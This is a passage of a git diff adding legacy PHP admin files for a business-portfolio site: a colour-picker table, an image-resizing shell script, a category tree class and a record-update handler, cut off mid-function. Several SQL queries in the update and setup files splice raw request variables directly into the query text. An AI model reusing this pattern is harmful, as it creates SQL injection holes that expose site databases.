+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
diff --git a/admin/portfolio/size.sh b/admin/portfolio/size.sh
new file mode 100644 (file)
index 0000000..098579f
--- /dev/null
@@ -0,0 +1,13 @@
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do 
+       temp=`basename $file` 
+       $convert -scale '287>' -quality 60 $file resized/$temp
+       $convert -scale '200>' -quality 60 $file midsized/$temp
+       $convert -scale '120>' -quality 50 $file thumb/$temp
+
+       echo $temp 
+done
diff --git a/admin/portfolio/threads.phtml b/admin/portfolio/threads.phtml
new file mode 100644 (file)
index 0000000..ab37815
--- /dev/null
@@ -0,0 +1,75 @@
+<?
+class Thread
+{    
+       var $beginLevel = "<ul>";
+       var $beginLevel2 = "<ul>";
+    var $endLevel = "</ul>";
+    var $beginItem = "<li>";
+    var $beginItem2 = "<li>";
+    var $endItem = "</li>";
+    var $wholeThread;
+       
+    function Thread($code="")
+    {    
+               if(!empty($code))
+        {    
+                       $this->beginLevel = $code[beginLevel];
+                       $this->beginLevel2 = $code[beginLevel2];
+            $this->endLevel = $code[endLevel];
+            $this->beginItem = $code[beginItem];
+            $this->beginItem2 = $code[beginItem2];
+            $this->endItem = $code[endItem];
+        }
+    }
+
+    function sortChilds($threads)
+    {    while(list($var, $value) = each($threads))
+            $childs[$value[parent]][$value[ID]] = $value;
+        return $childs;
+    }
+
+    function convertToThread($threads, $thread)
+    {    
+               static $count;
+               if( !$count )
+               {
+                       $this->wholeThread .= $this->beginLevel2;
+               }
+               else
+               {
+                       $this->wholeThread .= $this->beginLevel;
+               }
+        while(list($parent, $value) = each($thread))
+        {    
+                       if( $threads[$parent] && $value['closed'] )
+                       {
+                               $this->wholeThread .= $this->beginItem2;
+                               $this->wholeThread .= '<a href="list_bus_category.phtml?expand='.$value['ID'].'"
+                                       title="Expand"><img border="0" src="images/expand.png"></a>';
+                       }
+                       elseif( $threads[$parent] && !$value['closed'] )
+                       {
+                               $this->wholeThread .= $this->beginItem2;
+                               $this->wholeThread .= '<a href="list_bus_category.phtml?fold='.$value['ID'].'"
+                                       title="Fold"><img border="0"src="images/collapse.png"></a>';
+                       }
+                       else
+                       {
+                               $this->wholeThread .= $this->beginItem;
+                       }
+                       $count++;
+                       $this->wholeThread .= " <a href=\"edit_bus_category.phtml?id=".$value['ID']."\">[Edit]</a>&nbsp;&nbsp;"
+                       ."<a href=\"list_bus.phtml?catid=".$value['ID']."\">[Web Portfolios]</a>&nbsp;&nbsp;" 
+                       .$value[pos] 
+                       ."<b>".$value[active];
+                  $this->wholeThread .= $value['content'] . "</b>" . $this->endItem ."\n";
+                       if( $threads[$parent] && !$value['closed'] )
+                       {
+                $this->convertToThread($threads, $threads[$parent]);
+                       }
+        }
+        $this->wholeThread .= $this->endLevel;
+        return $this->wholeThread;
+    }
+}
+?>
diff --git a/admin/portfolio/toolbox_setup.inc b/admin/portfolio/toolbox_setup.inc
new file mode 100644 (file)
index 0000000..f5a8c4a
--- /dev/null
@@ -0,0 +1,189 @@
+<?php
+require_once "../../setup.phtml";
+//$toolbox =& new GLM_TEMPLATE(1);
+define("TOOLBOX_FLAGS",1);
+define("LEVELS_DEEP",3);
+define("MULTIPLE_CAT2",1);
+define("ISP_CATID",49);
+
+$fields[] = array( "name" => "id", "title" => "id", "type" => "hide");
+$fields[] = array( "name" => "name", "title" => "Header", "type" => "text");
+$fields[] = array( "name" => "urlname", "title" => "URL Name", "type" => "text");
+$fields[] = array( "name" => "url", "title" => "URL", "type" => "text");
+$fields[] = array( "name" => "Images and Descriptions", "type" => "seperator");
+$fields[] = array( "name" => "description", "title" => "Description", "type" => "desc");
+$fields[] = array( "name" => "image", "title" => "Image", "type" => "img");
+
+function check_lock($id)// {{{
+{
+       if( isset( $id ) && $id != '' && is_numeric( $id ) )
+       {
+               if( file_exists( BASE.'static/'.$id.'.phtml' ) || $id == HOME_ID )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }       
+       }
+       else
+       {
+               return( false );
+       }       
+
+}// }}}
+function sort_by_parent($data)// {{{
+{
+       if(!is_array($data))
+               return(false);
+       foreach($data as $key=>$value)
+       {
+               $data_new[$value["parent"]][$value["id"]] = $value;
+       }
+       return($data_new);
+}// }}}
+
+function convertParent($threads,$thread)// {{{
+{
+       static $select,$count;
+       if(!$count)
+               $count = 0;
+       $bgcolor[] = "#ffffff";
+       $bgcolor[] = "#ffffff";
+       $bgcolor[] = "#03A9BC";
+       $bgcolor[] = "#6FD579";
+       $bgcolor[] = "#E36BCB";
+       $bgcolor[] = "#F92A23";
+       if(is_array($thread))
+       {
+               foreach($thread as $parent=>$value)
+               {                       
+                       $color = $bgcolor[$count];
+                       $select[$value["id"]]["color"] = $color;
+                       $select[$value["id"]]["category"] = $value["category"];
+                       $select[$value["id"]]["count"] = $count;
+
+                       if(isset($threads[$parent]))
+                       {       
+                               $count++;
+                               convertParent($threads, $threads[$parent]);
+                       }
+               }
+       }
+       $count--;
+       return $select;
+}// }}}
+
+/**
+  parent select
+
+  <p>This function does both the bus and bus category page parent select drop down boxes.
+  the backcount var is used to lock the list to a certain level set up with define of LEVELS_DEEP.
+  count varl starts at one and is generated in the function convertParent so we'll need to subtract one for proper results.
+  to unset backcount properly we'll need to check if count goes under or equals that of backcount.
+  then unset($backcount) cause if backcount is not empty then category won't get added to list.
+  </p>
+ */
+function parent_select($catid,$id,$sel_name = "parent") // {{{
+{
+       if( strstr($catid,":") )
+       {
+               $catid = substr($catid,1,strlen($catid)-1);
+               $catid = explode(":",$catid);
+       }
+       // select catid portion 
+       if( $_SESSION['department'] == 'isp' )
+       {
+               $plus = "where id = ".ISP_CATID;
+       }
+       else
+       {
+               $plus = "where id != ".ISP_CATID;
+       }
+       $qs = "SELECT   id,category,parent 
+               FROM    bus_category 
+               $plus
+               ORDER BY parent,pos";
+
+       $data = db_auto_get_data($qs, CONN2_STR ); 
+       $data1 = sort_by_parent($data);
+       $select = "<select name=\"".$sel_name."\"";
+       if( MULTIPLE_CAT2 && $sel_name == 'catid[]' && $_SESSION['department'] != 'isp' )
+       {
+               $select .= ' multiple size="10"';
+       }
+       $select .= ">";
+       if( $sel_name == "parent" )
+       {
+               $select .= "<option value=\"0\">--No Parent--";
+       }
+       $parts = convertParent($data1,$data1[0]);
+       if(is_array($parts))
+       {
+               foreach($parts as $key=>$value)
+               {
+                       if( isset( $backcount ) && $value['count'] <= $backcount )
+                       {
+                               unset($backcount);
+                       }
+                       if( $key == $id && $sel_name = "parent" )
+                       {
+                               $backcount = $value['count'];
+                       }
+
+                       if( ( !isset($backcount) && ( $value['count'] < ( LEVELS_DEEP - 1 ) ) || $sel_name == "catid[]" ) )
+                       {
+                               $bkg = $value["color"];
+                               $indent = (int)$value["count"] * 10;
+                               $cc = (int)$value["count"] * 2;
+                               $paddman = str_repeat("&nbsp;",$cc);
+                               $select .= '<option value="'.$key.'"';
+                               if( !is_array($catid) && $key == $catid )
+                               {
+                                       $select .= ' selected';
+                               }
+                               elseif( is_array( $catid ) && in_array( $key, $catid ) )
+                               {
+                                       $select .= ' selected';                                         
+                               }
+                               $select .= ' style="background-color:'.$bkg.';"';
+                               $select .= '>'.$paddman.$value["category"];
+                               $select .= "</option>\n";
+                       }
+               }
+       }
+       $select .= "</select>";
+       if(CAT_LOCK && $sel_name == "parent")
+       {
+               if($catid!=0)
+               {               
+                       $qs = "SELECT   category 
+                               FROM    bus_category
+                               WHERE   id = $catid";
+
+                       $res2 = db_auto_get_data($qs, CONN2_STR );
+                       $category = $res2['category'];
+               }
+               else
+               {
+                       $category = "No Parent";                
+               }
+
+               $select = $category."<input type=\"hidden\" name=\"$sel_name\" value=\"$catid\">";              
+       }
+       if((in_array($id,array(1,49)) && $catid == 0)&& strstr($_SERVER['PHP_SELF'],"edit_bus_category") && ($catid!='' && $id!=''))
+       {
+               $select = 'No Parent <input type="hidden" name="parent" value="0">';
+       }
+       return($select);
+}// }}}
+if( !CAT_LOCK && $department != 'isp' )
+{
+       $lnav["Add A New Category"]     = "edit_bus_category.phtml";
+}
+if( $department != 'isp' )
+{
+       $lnav["List Categories"] = "list_bus_category.phtml";
+}
+?>
diff --git a/admin/portfolio/update_bus.phtml b/admin/portfolio/update_bus.phtml
new file mode 100644 (file)
index 0000000..91ee6ac
--- /dev/null
@@ -0,0 +1,569 @@
+<?php
+session_start();
+require_once "../../setup.phtml";
+require_once "toolbox_setup.inc";
+
+define("TABLE",    "bus");
+define("ID",       "id");
+define("SEQUENCE", "bus_id_seq");
+
+$LAST     = count($fields)-1;
+$location = "../list_bus.phtml?catid=$catid";
+
+http_strip($url);
+
+if ($REQUEST_METHOD == "POST" || $Command == "Move") {
+       switch ($Command) {
+               case "Move":// {{{
+                       if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG,0);
+               
+                       $qs = "SELECT   pos,id
+                                  FROM         bus_category_bus
+                                  WHERE        busid = $id
+                                  AND          catid = $catid";
+
+                       if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+                       $data = db_fetch_array($result,0,PGSQL_ASSOC);
+                       $pos = $data['pos'];
+                       if( !$pos )
+                       {
+                               $pos = 1;
+                       }
+               
+                       if($newpos < $pos) {
+                               db_exec( $dbd, "BEGIN WORK;" );
+                               $qs = "
+                               UPDATE bus_category_bus
+                               SET pos = NULL
+                               WHERE   busid = $id
+                               AND     catid = $catid";
+                               db_exec( $dbd, $qs );
+                               $qs = "SELECT   id,pos
+                                          FROM         bus_category_bus 
+                                          WHERE        pos <= $pos
+                                          AND          pos >= $newpos
+                                          AND          catid = $catid
+                                          ORDER BY pos desc";
+                               if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                       //      $counter = ($newpos + 1);
+                               for($i=0;$i<db_numrows($res);$i++) {
+                                       $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                                       $res_id = $res_data['id'];
+                                       $res_pos = $res_data['pos'];
+                                       $qs = "
+                                       UPDATE bus_category_bus
+                                       SET pos = $res_pos + 1
+                                   WHERE id = $res_id";
+                               
+                                       if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                               //      $counter++;
+                               }
+                               $qs = "
+                               UPDATE bus_category_bus
+                               SET pos = $newpos
+                               WHERE   busid = $id
+                               AND     catid = $catid";
+                               db_exec( $dbd, $qs );
+                               db_exec( $dbd, "COMMIT WORK;" );
+                       }
+                       else {
+                               db_exec( $dbd, "BEGIN WORK;" );
+                               $qs = "
+                               UPDATE bus_category_bus
+                               SET pos = NULL
+                               WHERE   busid = $id
+                               AND     catid = $catid";
+                               db_exec( $dbd, $qs );
+                               $qs = "SELECT   pos,id
+                                          FROM         bus_category_bus
+                                          WHERE        pos >= $pos
+                                          AND          pos <= $newpos
+                                          AND          catid = $catid
+                                          ORDER BY pos";
+
+                               if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                       //      $counter = ($pos);
+                               for($i=0;$i<db_numrows($res);$i++) {
+                                       $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                                       $res_id = $res_data['id'];
+                                       $res_pos = $res_data['pos'];
+                                       $qs = "UPDATE   bus_category_bus
+                                                  SET          pos = $res_pos - 1
+                                                  WHERE        id = $res_id";
+                                       
+                                       if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                               //      $counter++;
+                               }
+                               $qs = "
+                               UPDATE bus_category_bus
+                               SET pos = $newpos
+                               WHERE   busid = $id
+                               AND     catid = $catid";
+                               db_exec( $dbd, $qs );
+                               db_exec( $dbd, "COMMIT WORK;" );
+                       }
+                       $location = "list_bus.phtml?catid=$catid";
+                       break;// }}}
+               case "Update":// {{{
+                       $oldcatid = ereg_replace("^:","",$oldcatid);
+                       $oldcatid = split(":",$oldcatid);
+       
+                       if($category)
+                       {
+                               $category = ereg_replace("^:","",$category);
+                               $catid = split(":",$category);
+                       }
+                       if(!$dbd = db_connect( CONN2_STR )) 
+                               html_error(DB_ERROR_MSG,0);
+                       db_exec($dbd,"BEGIN WORK");
+       
+                       $array_counter = 0;
+                       if(is_array($catid)) 
+                       {
+
+                               $query = "select catid,pos from bus_category_bus where busid = $id";
+                               $res = db_exec($dbd,$query);
+                               while( $row = pg_fetch_array( $res ) )
+                               {
+                                       $oldpos = $row['pos'];
+                                       // do this only if ald catid is being removed
+                                       if( !in_array( $row['catid'],$catid ) )
+                                       {
+                                               $query = "delete from bus_category_bus 
+                                                       where catid = ".$row['catid']." and busid = $id";
+                                               db_exec($dbd,$query);                           
+                                               $query = "update bus_category_bus set pos = pos - 1 
+                                                       where catid = ".$row['catid']." and pos >= $oldpos";
+                                               db_exec($dbd,$query);
+                                       }
+                               }
+                               foreach($catid as $key=>$value) 
+                               {
+                               
+                                       // do this only if ald catid is being removed
+                                       if( !in_array( $value,$oldcatid ) )
+                                       {
+                                               $qs = "SELECT   count(*) as maxpos
+                                                          FROM         bus_category_bus
+                                                          WHERE        catid = $value";
+               
+                                               if(!$res = db_exec($dbd,$qs)) 
+                                                       html_error(DB_ERROR_MSG.$qs,1);
+               
+                                               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                                               $pos = ( $row['maxpos'] == 0 ) ? (int)0 : (int)$row['maxpos'] ;
+                                               $pos++;
+                                               
+                                               $qs = "INSERT   
+                                                          INTO         bus_category_bus
+                                                                               (busid,catid,pos)
+                                                          VALUES       ($id,$value,$pos)";
+                                               if(!db_exec($dbd,$qs))
+                                               {
+                                                       html_error(DB_ERROR_MSG.$qs,1);
+                                               }
+                                       }
+                               }
+                       }
+                       $fields = array_reverse($fields);
+                       $qs = "UPDATE ".TABLE." SET ";
+                       for($i=0;$i<count($fields);$i++) 
+                               {
+                               if($fields[$i][type]=="date") 
+                                       {
+                                       $month =  $_POST[$fields[$i][name]."_month"];
+                                       $day = $_POST[$fields[$i][name]."_day"];
+                                       $year = $_POST[$fields[$i][name]."_year"];
+                                       if( is_numeric( $month ) && is_numeric( $day ) && is_numeric( $year ) )
+                                       {
+                                               $date = "'".date("Y-m-d H:i:s T",mktime(0,0,0,$month,$day,$year))."'";
+                                       }
+                                       else
+                                       {
+                                               $date = 'NULL';
+                                       }
+                                       $qs .= $fields[$i][name]." = $date";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }
+                               elseif($fields[$i][type]=="datetime") 
+                                       {
+                                       $month =  $fields[$i][name]."_month";
+                                       $day = $fields[$i][name]."_day";
+                                       $year = $fields[$i][name]."_year";
+                                       $H = $fields[$i][name]."_hour";
+                                       $mm = $fields[$i][name]."_mm";
+                                       if($$mm == "PM")
+                                               $$H = $$H + 12;
+                                       $m = $fields[$i][name]."_min"; 
+                                       $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                                       $qs .= $fields[$i][name]." = '$date'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }
+                               elseif($fields[$i][name]!=ID) 
+                                       {
+                                       if($fields[$i][type]=="img") 
+                                               {
+                                               $tmpimg = $fields[$i]['name'];
